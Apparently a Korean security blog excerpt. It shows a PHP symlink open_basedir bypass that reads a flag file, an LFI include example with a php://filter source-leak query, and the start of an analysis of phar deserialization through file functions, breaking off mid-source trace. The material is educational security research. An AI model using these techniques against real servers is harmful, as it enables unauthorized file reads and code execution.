<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">symlink</span><span class="p">(</span><span class="s1">'shiina/../../../../../../'</span><span class="p">,</span><span class="s1">'goto'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span><span class="s1">'/var/www/html:goto/'</span><span class="p">);</span>
<span class="nb">unlink</span><span class="p">(</span><span class="s1">'shiina'</span><span class="p">);</span>
<span class="nb">symlink</span><span class="p">(</span><span class="s1">'/var/www/html/'</span><span class="p">,</span><span class="s1">'shiina'</span><span class="p">);</span>
</code></pre></div></div>
<p>그러면 goto라는 symlink는 /를 가르키게 되고 <code class="language-plaintext highlighter-rouge">file_get_contents('goto/flag');</code>를 하게 되면 open_basedir을 우외하여 파일을 읽을 수 있습니다. 아래는 풀 코드입니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">error_reporting</span><span class="p">(</span><span class="kc">E_ALL</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_errors'</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="nb">symlink</span><span class="p">(</span><span class="s1">'/var/www/html/shpik/04/symlink/a/b/c/d/e/f/g/h/j/j/k'</span><span class="p">,</span><span class="s1">'shiina'</span><span class="p">);</span>
<span class="nb">symlink</span><span class="p">(</span><span class="s1">'shiina/../../../../../../'</span><span class="p">,</span><span class="s1">'goto'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span><span class="s1">'/var/www/html:goto/'</span><span class="p">);</span>
<span class="nb">unlink</span><span class="p">(</span><span class="s1">'shiina'</span><span class="p">);</span>
<span class="nb">symlink</span><span class="p">(</span><span class="s1">'/var/www/html/'</span><span class="p">,</span><span class="s1">'shiina'</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'./goto/flag'</span><span class="p">);</span>
<span class="nb">highlight_file</span><span class="p">(</span><span class="k">__FILE__</span><span class="p">);</span>
</code></pre></div></div>shpik시작하기에 앞서PHP Exploitation using FILE Function2019-02-18T00:00:00+00:002019-02-18T00:00:00+00:00http://blog.shpik.kr/php,/unserialize,/rce/2019/02/18/PHP_Exploitation_using_FILE_Function<h2 id="시작하기에-앞서">시작하기에 앞서</h2>
<p>오탈자, 혹은 잘못된 부분은 언제든 환영합니다 :)</p>
<h2 id="contents">Contents</h2>
<ol>
<li><a href="#introduce">Introduce</a></li>
<li><a href="#file-related-function">File related function</a></li>
<li><a href="#analysis">Analysis</a></li>
<li><a href="#exploit">Exploit</a></li>
<li><a href="#solution">Solution</a></li>
<li><a href="#vulnerable-function">Vulnerable Function</a></li>
</ol>
<h2 id="introduce">Introduce</h2>
<p>우리가 PHP 페이지를 작성할 때 흔히 사용되는 <strong>include</strong>, <strong>include_once</strong>, <strong>require</strong>, <strong>require_once</strong>, <strong>file_get_contents</strong> 등의 함수에서는 http:// 또는 https:// 뿐만 아니라 특수한 schema(e.g. file://, data://, and so on ) 를 사용할 수 있습니다.</p>
<p>위의 함수들은 잘못 사용하였을때, 취약한 형태로 이루어 질 수 있는데, 아래의 코드가 취약한 형태의 한 예제입니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$page</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'page'</span><span class="p">];</span>
<span class="k">if</span><span class="p">(</span><span class="nb">empty</span><span class="p">(</span><span class="nv">$page</span><span class="p">))</span>
<span class="k">include</span><span class="p">(</span><span class="s1">'home.php'</span><span class="p">);</span>
<span class="k">else</span>
<span class="k">include</span><span class="p">(</span><span class="nv">$page</span><span class="p">);</span>
</code></pre></div></div>
<p>page파라미터에 ../../../../../../etc/passwd와 같은 중요 파일 또는 php wrapper를 사용해 소스코드를 누출할 수 있는 <strong>LFI</strong>(Local File Inclusion)취약점이 발생합니다.</p>
<p><strong>Query :</strong> page=php://filter/convert.base64-encode/resource=index.php</p>
<p>이번 포스팅에서는 위와 같은 형태가 아닌 파일 관련 함수에 <em>phar schema</em>를 이용하여 <strong>RCE</strong>(Remote Command Execution) 또는 <strong>LFI</strong>(Local File Inclusion)을 하는 방법에 대해서 설명하려고 합니다.</p>
<h2 id="file-related-function">File related function</h2>
<p>파일 관련 함수는 파일을 열고, 쓰고, 지우며, 파일의 존재 여부 등을 수행하는 함수입니다. 이전에 언급된 함수들을 포함하여, <strong>file_exists</strong>, <strong>file_get_contents</strong>, <strong>is_dir</strong> 등의 파일 관련 함수에서 발생합니다.</p>
<p>지금까지 PHP개발을 해보셨다거나 현업에서 PHP를 사용중이시라면 자주 보는 함수들이고, 또한 코드상에서는 이게 왜 취약한지조차 알수가 없습니다. 이것이 왜 취약한지에 대해서는 다음 파트에서 알아보도록 합시다.</p>
<p>추가적으로 발생하는 함수 리스트는 포스팅 맨아래에 첨부하였습니다.</p>
<h2 id="analysis">Analysis</h2>
<p>왜 unserialize 취약점이 발생하는지 알기 위해서 <strong>file_get_contents</strong>의 코드를 통해 분석을 진행하였습니다.</p>
<p>우선 분석을 위해 phar파일을 하나 생성하였습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">TEST</span> <span class="p">{</span>
<span class="k">public</span> <span class="nv">$fn</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$f</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="k">fn</span> <span class="o">=</span> <span class="nv">$f</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__wakeup</span><span class="p">(){</span>
<span class="k">print</span><span class="p">(</span><span class="s1">'Hello?'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nb">readfile</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="k">fn</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nv">$phar</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">Phar</span><span class="p">(</span><span class="s1">'shpik.phar'</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">startBuffering</span><span class="p">();</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">addFromString</span><span class="p">(</span><span class="s2">"test.txt"</span><span class="p">,</span><span class="s2">"test"</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setStub</span><span class="p">(</span><span class="s2">"<?php echo 'STUB!'; __HALT_COMPILER(); ?>"</span><span class="p">);</span>
<span class="nv">$obj</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">TEST</span><span class="p">(</span><span class="s1">'secret'</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">setMetadata</span><span class="p">(</span><span class="nv">$obj</span><span class="p">);</span>
<span class="nv">$phar</span><span class="o">-></span><span class="nf">stopBuffering</span><span class="p">();</span>
</code></pre></div></div>
<p>위 코드를 실행하면 다음과 같은 파일이 생성됩니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ xxd ./shpik.phar
00000000: 3c3f 7068 7020 6563 686f 2027 5354 5542 <?php echo 'STUB
00000010: 2127 3b20 5f5f 4841 4c54 5f43 4f4d 5049 !'; __HALT_COMPI
00000020: 4c45 5228 293b 203f 3e0d 0a5b 0000 0001 LER(); ?>..[....
00000030: 0000 0011 0000 0001 0000 0000 0025 0000 .............%..
00000040: 004f 3a34 3a22 5445 5354 223a 313a 7b73 .O:4:"TEST":1:{s
00000050: 3a32 3a22 666e 223b 733a 363a 2273 6563 :2:"fn";s:6:"sec
00000060: 7265 7422 3b7d 0800 0000 7465 7374 2e74 ret";}....test.t
00000070: 7874 0400 0000 366a 685c 0400 0000 0c7e xt....6jh\.....~
00000080: 7fd8 b601 0000 0000 0000 7465 7374 f98b ..........test..
00000090: aaf0 7402 242b c988 655c ff0e 5694 d006 ..t.$+..e\..V...
000000a0: befa 0200 0000 4742 4d42 ......GBMB
$ cat secret
MAshiro:)
</code></pre></div></div>
<p>이제 생성한 파일을 가지고 아래의 코드를 실행하여 분석을 시작하였습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">class</span> <span class="nc">TEST</span> <span class="p">{</span>
<span class="k">public</span> <span class="nv">$fn</span><span class="p">;</span>
<span class="k">function</span> <span class="n">__construct</span><span class="p">(</span><span class="nv">$f</span><span class="p">){</span>
<span class="nv">$this</span><span class="o">-></span><span class="k">fn</span> <span class="o">=</span> <span class="nv">$f</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__wakeup</span><span class="p">(){</span>
<span class="k">print</span><span class="p">(</span><span class="s1">'Hello?'</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">function</span> <span class="n">__destruct</span><span class="p">(){</span>
<span class="nb">readfile</span><span class="p">(</span><span class="nv">$this</span><span class="o">-></span><span class="k">fn</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">};</span>
<span class="nb">file_get_contents</span><span class="p">(</span><span class="s1">'phar://shpik.phar'</span><span class="p">);</span>
</code></pre></div></div>
<ul>
<li>php_filestat.h</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/master/ext/standard/php_filestat.h</span>
<span class="cp">#ifndef PHP_FILESTAT_H
#define PHP_FILESTAT_H
</span>
<span class="n">PHP_RINIT_FUNCTION</span><span class="p">(</span><span class="n">filestat</span><span class="p">);</span>
<span class="n">PHP_RSHUTDOWN_FUNCTION</span><span class="p">(</span><span class="n">filestat</span><span class="p">);</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">realpath_cache_size</span><span class="p">);</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">realpath_cache_get</span><span class="p">);</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">clearstatcache</span><span class="p">);</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">fileatime</span><span class="p">);</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">filectime</span><span class="p">);</span>
<span class="p">...</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">file_exists</span><span class="p">);</span>
<span class="p">...</span>
</code></pre></div></div>
<ul>
<li>file.c</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/master/ext/standard/file.c</span>
<span class="n">PHP_FUNCTION</span><span class="p">(</span><span class="n">file_get_contents</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">filename</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">filename_len</span><span class="p">;</span>
<span class="n">zend_bool</span> <span class="n">use_include_path</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">php_stream</span> <span class="o">*</span><span class="n">stream</span><span class="p">;</span>
<span class="n">zend_long</span> <span class="n">offset</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">zend_long</span> <span class="n">maxlen</span> <span class="o">=</span> <span class="p">(</span><span class="kt">ssize_t</span><span class="p">)</span> <span class="n">PHP_STREAM_COPY_ALL</span><span class="p">;</span>
<span class="n">zval</span> <span class="o">*</span><span class="n">zcontext</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">php_stream_context</span> <span class="o">*</span><span class="n">context</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">zend_string</span> <span class="o">*</span><span class="n">contents</span><span class="p">;</span>
<span class="cm">/* Parse arguments */</span>
<span class="n">ZEND_PARSE_PARAMETERS_START</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">5</span><span class="p">)</span>
<span class="n">Z_PARAM_PATH</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="n">filename_len</span><span class="p">)</span>
<span class="n">Z_PARAM_OPTIONAL</span>
<span class="n">Z_PARAM_BOOL</span><span class="p">(</span><span class="n">use_include_path</span><span class="p">)</span>
<span class="n">Z_PARAM_RESOURCE_EX</span><span class="p">(</span><span class="n">zcontext</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">Z_PARAM_LONG</span><span class="p">(</span><span class="n">offset</span><span class="p">)</span>
<span class="n">Z_PARAM_LONG</span><span class="p">(</span><span class="n">maxlen</span><span class="p">)</span>
<span class="n">ZEND_PARSE_PARAMETERS_END</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="n">ZEND_NUM_ARGS</span><span class="p">()</span> <span class="o">==</span> <span class="mi">5</span> <span class="o">&&</span> <span class="n">maxlen</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">php_error_docref</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">E_WARNING</span><span class="p">,</span> <span class="s">"length must be greater than or equal to zero"</span><span class="p">);</span>
<span class="n">RETURN_FALSE</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">context</span> <span class="o">=</span> <span class="n">php_stream_context_from_zval</span><span class="p">(</span><span class="n">zcontext</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">stream</span> <span class="o">=</span> <span class="n">php_stream_open_wrapper_ex</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">,</span>
<span class="p">(</span><span class="n">use_include_path</span> <span class="o">?</span> <span class="n">USE_PATH</span> <span class="o">:</span> <span class="mi">0</span><span class="p">)</span> <span class="o">|</span> <span class="n">REPORT_ERRORS</span><span class="p">,</span>
<span class="nb">NULL</span><span class="p">,</span> <span class="n">context</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">stream</span><span class="p">)</span> <span class="p">{</span>
<span class="n">RETURN_FALSE</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">offset</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&&</span> <span class="n">php_stream_seek</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">offset</span><span class="p">,</span> <span class="p">((</span><span class="n">offset</span> <span class="o">></span> <span class="mi">0</span><span class="p">)</span> <span class="o">?</span> <span class="n">SEEK_SET</span> <span class="o">:</span> <span class="n">SEEK_END</span><span class="p">))</span> <span class="o"><</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">php_error_docref</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">E_WARNING</span><span class="p">,</span> <span class="s">"Failed to seek to position "</span> <span class="n">ZEND_LONG_FMT</span> <span class="s">" in the stream"</span><span class="p">,</span> <span class="n">offset</span><span class="p">);</span>
<span class="n">php_stream_close</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
<span class="n">RETURN_FALSE</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">maxlen</span> <span class="o">></span> <span class="n">INT_MAX</span><span class="p">)</span> <span class="p">{</span>
<span class="n">php_error_docref</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">E_WARNING</span><span class="p">,</span> <span class="s">"maxlen truncated from "</span> <span class="n">ZEND_LONG_FMT</span> <span class="s">" to %d bytes"</span><span class="p">,</span> <span class="n">maxlen</span><span class="p">,</span> <span class="n">INT_MAX</span><span class="p">);</span>
<span class="n">maxlen</span> <span class="o">=</span> <span class="n">INT_MAX</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">((</span><span class="n">contents</span> <span class="o">=</span> <span class="n">php_stream_copy_to_mem</span><span class="p">(</span><span class="n">stream</span><span class="p">,</span> <span class="n">maxlen</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span> <span class="o">!=</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="n">RETVAL_STR</span><span class="p">(</span><span class="n">contents</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">RETVAL_EMPTY_STRING</span><span class="p">();</span>
<span class="p">}</span>
<span class="n">php_stream_close</span><span class="p">(</span><span class="n">stream</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<ul>
<li>php_streams.h</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/master/main/php_streams.h</span>
<span class="n">PHPAPI</span> <span class="n">php_stream</span> <span class="o">*</span><span class="nf">_php_stream_open_wrapper_ex</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">mode</span><span class="p">,</span> <span class="kt">int</span> <span class="n">options</span><span class="p">,</span> <span class="n">zend_string</span> <span class="o">**</span><span class="n">opened_path</span><span class="p">,</span> <span class="n">php_stream_context</span> <span class="o">*</span><span class="n">context</span> <span class="n">STREAMS_DC</span><span class="p">);</span>
<span class="p">...</span>
<span class="cp">#define php_stream_open_wrapper(path, mode, options, opened) _php_stream_open_wrapper_ex((path), (mode), (options), (opened), NULL STREAMS_CC)
#define php_stream_open_wrapper_ex(path, mode, options, opened, context) _php_stream_open_wrapper_ex((path), (mode), (options), (opened), (context) STREAMS_CC)
</span><span class="p">...</span>
</code></pre></div></div>
<ul>
<li>streams.c</li>
</ul>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/master/main/streams/streams.c</span>
<span class="n">PHPAPI</span> <span class="n">php_stream</span> <span class="o">*</span><span class="nf">_php_stream_open_wrapper_ex</span><span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">mode</span><span class="p">,</span> <span class="kt">int</span> <span class="n">options</span><span class="p">,</span>
<span class="n">zend_string</span> <span class="o">**</span><span class="n">opened_path</span><span class="p">,</span> <span class="n">php_stream_context</span> <span class="o">*</span><span class="n">context</span> <span class="n">STREAMS_DC</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">php_stream</span> <span class="o">*</span><span class="n">stream</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">php_stream_wrapper</span> <span class="o">*</span><span class="n">wrapper</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path_to_open</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">persistent</span> <span class="o">=</span> <span class="n">options</span> <span class="o">&</span> <span class="n">STREAM_OPEN_PERSISTENT</span><span class="p">;</span>
<span class="n">zend_string</span> <span class="o">*</span><span class="n">resolved_path</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">copy_of_path</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">opened_path</span><span class="p">)</span> <span class="p">{</span>
<span class="o">*</span><span class="n">opened_path</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">path</span> <span class="o">||</span> <span class="o">!*</span><span class="n">path</span><span class="p">)</span> <span class="p">{</span>
<span class="n">php_error_docref</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">E_WARNING</span><span class="p">,</span> <span class="s">"Filename cannot be empty"</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">options</span> <span class="o">&</span> <span class="n">USE_PATH</span><span class="p">)</span> <span class="p">{</span>
<span class="n">resolved_path</span> <span class="o">=</span> <span class="n">zend_resolve_path</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">strlen</span><span class="p">(</span><span class="n">path</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="n">resolved_path</span><span class="p">)</span> <span class="p">{</span>
<span class="n">path</span> <span class="o">=</span> <span class="n">ZSTR_VAL</span><span class="p">(</span><span class="n">resolved_path</span><span class="p">);</span>
<span class="cm">/* we've found this file, don't re-check include_path or run realpath */</span>
<span class="n">options</span> <span class="o">|=</span> <span class="n">STREAM_ASSUME_REALPATH</span><span class="p">;</span>
<span class="n">options</span> <span class="o">&=</span> <span class="o">~</span><span class="n">USE_PATH</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="n">path_to_open</span> <span class="o">=</span> <span class="n">path</span><span class="p">;</span>
<span class="n">wrapper</span> <span class="o">=</span> <span class="n">php_stream_locate_url_wrapper</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="o">&</span><span class="n">path_to_open</span><span class="p">,</span> <span class="n">options</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">options</span> <span class="o">&</span> <span class="n">STREAM_USE_URL</span> <span class="o">&&</span> <span class="p">(</span><span class="o">!</span><span class="n">wrapper</span> <span class="o">||</span> <span class="o">!</span><span class="n">wrapper</span><span class="o">-></span><span class="n">is_url</span><span class="p">))</span> <span class="p">{</span>
<span class="n">php_error_docref</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">E_WARNING</span><span class="p">,</span> <span class="s">"This function may only be used against URLs"</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">resolved_path</span><span class="p">)</span> <span class="p">{</span>
<span class="n">zend_string_release_ex</span><span class="p">(</span><span class="n">resolved_path</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">if</span> <span class="p">(</span><span class="n">wrapper</span><span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">wrapper</span><span class="o">-></span><span class="n">wops</span><span class="o">-></span><span class="n">stream_opener</span><span class="p">)</span> <span class="p">{</span>
<span class="n">php_stream_wrapper_log_error</span><span class="p">(</span><span class="n">wrapper</span><span class="p">,</span> <span class="n">options</span> <span class="o">^</span> <span class="n">REPORT_ERRORS</span><span class="p">,</span>
<span class="s">"wrapper does not support stream open"</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
<span class="n">stream</span> <span class="o">=</span> <span class="n">wrapper</span><span class="o">-></span><span class="n">wops</span><span class="o">-></span><span class="n">stream_opener</span><span class="p">(</span><span class="n">wrapper</span><span class="p">,</span>
<span class="n">path_to_open</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">options</span> <span class="o">^</span> <span class="n">REPORT_ERRORS</span><span class="p">,</span>
<span class="n">opened_path</span><span class="p">,</span> <span class="n">context</span> <span class="n">STREAMS_REL_CC</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">...</span> <span class="p">...</span>
<span class="k">return</span> <span class="n">stream</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>위의 코드를 보면 실질적으로 요청 한 파일은 <strong>_php_stream_open_wrapper_ex</strong> 의 함수를 통해 stream으로 반환해줍니다.</p>
<p>해당 함수는 <strong>php_stream_locate_url_wrapper</strong> 함수를 통해 path에서 wrapper를 추출하고, 그 값이 정상인지 판별합니다.</p>
<blockquote>
<h5 id="php_stream_locate_url_wrapper">php_stream_locate_url_wrapper</h5>
<ol>
<li>첫번째 인자로 들어간 Path에서 schema 추출
<ol>
<li>isalnum((int)*p) or *p == ‘+’ or *p == ‘-‘ or *p == ‘.’</li>
<li>위의 조건문이 만족하지 않을때까지의 값</li>
</ol>
</li>
<li>schema가 hashmap에 등록되어 있는지 확인
<ol>
<li>등록되어 있을경우 wrapper 반환</li>
<li>이 경우 php.ini와 같은 설정파일을 이용</li>
</ol>
</li>
<li>schema가 file://인지 확인
<ol>
<li>만약 file이며 그 뒤가 localhost가 아닌 다른 url이 들어있을 경우 Error 출력 및 null 반환 (file schema는 remote를 미지원)</li>
<li>정상적이라면 해당 wrapper 반환</li>
</ol>
</li>
<li>wrapper가 url이면서 <strong>allow_url_fopen</strong> 와 <strong>in_user_include</strong>, <strong>allow_url_include</strong> 가 true인지 확인
<ol>
<li>false일 경우 null 반환</li>
</ol>
</li>
</ol>
</blockquote>
<p><strong>php_stream_locate_url_wrapper</strong> 에서 추출한 wrapper 구조체에서 <em>stream_opener</em> 함수를 수행하게 됩니다.</p>
<p><code class="language-plaintext highlighter-rouge">wrapper->wops->stream_opener</code> 의 함수을 호출할 때, 실제로 어떤 함수가 호출되는지 보고 이를 분석해봅시다.</p>
<p><strong>phar</strong>의 경우 <em>stream_opener</em>의 값이 <strong>phar_wrapper_open_url</strong>의 주소이며 이를 호출합니다.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/stream.c#L161</span>
<span class="k">static</span> <span class="n">php_stream</span> <span class="o">*</span> <span class="nf">phar_wrapper_open_url</span><span class="p">(</span><span class="n">php_stream_wrapper</span> <span class="o">*</span><span class="n">wrapper</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">path</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">mode</span><span class="p">,</span> <span class="kt">int</span> <span class="n">options</span><span class="p">,</span> <span class="n">zend_string</span> <span class="o">**</span><span class="n">opened_path</span><span class="p">,</span> <span class="n">php_stream_context</span> <span class="o">*</span><span class="n">context</span> <span class="n">STREAMS_DC</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">phar_archive_data</span> <span class="o">*</span><span class="n">phar</span><span class="p">;</span>
<span class="n">phar_entry_data</span> <span class="o">*</span><span class="n">idata</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">internal_file</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">error</span><span class="p">;</span>
<span class="n">HashTable</span> <span class="o">*</span><span class="n">pharcontext</span><span class="p">;</span>
<span class="n">php_url</span> <span class="o">*</span><span class="n">resource</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">php_stream</span> <span class="o">*</span><span class="n">fpf</span><span class="p">;</span>
<span class="n">zval</span> <span class="o">*</span><span class="n">pzoption</span><span class="p">,</span> <span class="o">*</span><span class="n">metadata</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">host_len</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">resource</span> <span class="o">=</span> <span class="n">phar_parse_url</span><span class="p">(</span><span class="n">wrapper</span><span class="p">,</span> <span class="n">path</span><span class="p">,</span> <span class="n">mode</span><span class="p">,</span> <span class="n">options</span><span class="p">))</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">...</span> <span class="p">...</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>phar_wrapper_open_url</strong> 의 내부에서는 <strong>phar_parse_url</strong> 함수를 호출하는데, 입력받은 phar 파일의 절대 경로의 값과 그 길이 및 기타 를 가지고 <strong>phar_open_from_filename</strong> 함수를 실행합니다.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// https://github.com/php/php-src/blob/17baa87faddc2550def3ae7314236826bc1b1398/ext/phar/stream.c#L60</span>
<span class="n">php_url</span><span class="o">*</span> <span class="nf">phar_parse_url</span><span class="p">(</span><span class="n">php_stream_wrapper</span> <span class="o">*</span><span class="n">wrapper</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">filename</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">mode</span><span class="p">,</span> <span class="kt">int</span> <span class="n">options</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">php_url</span> <span class="o">*</span><span class="n">resource</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">arch</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">*</span><span class="n">entry</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">*</span><span class="n">error</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">arch_len</span><span class="p">,</span> <span class="n">entry_len</span><span class="p">;</span>
<span class="p">...</span> <span class="p">...</span>
<span class="k">if</span> <span class="p">(</span><span class="n">phar_open_from_filename</span><span class="p">(</span><span class="n">ZSTR_VAL</span><span class="p">(</span><span class="n">resource</span><span class="o">-></span><span class="n">host</span><span class="p">),</span> <span class="n">ZSTR_LEN</span><span class="p">(</span><span class="n">resource</span><span class="o">-></span><span class="n">host</span><span class="p">),</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">options</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="o">&</span><span class="n">error</span><span class="p">)</span> <span class="o">==</span> <span class="n">FAILURE</span><span class="p">)</span>
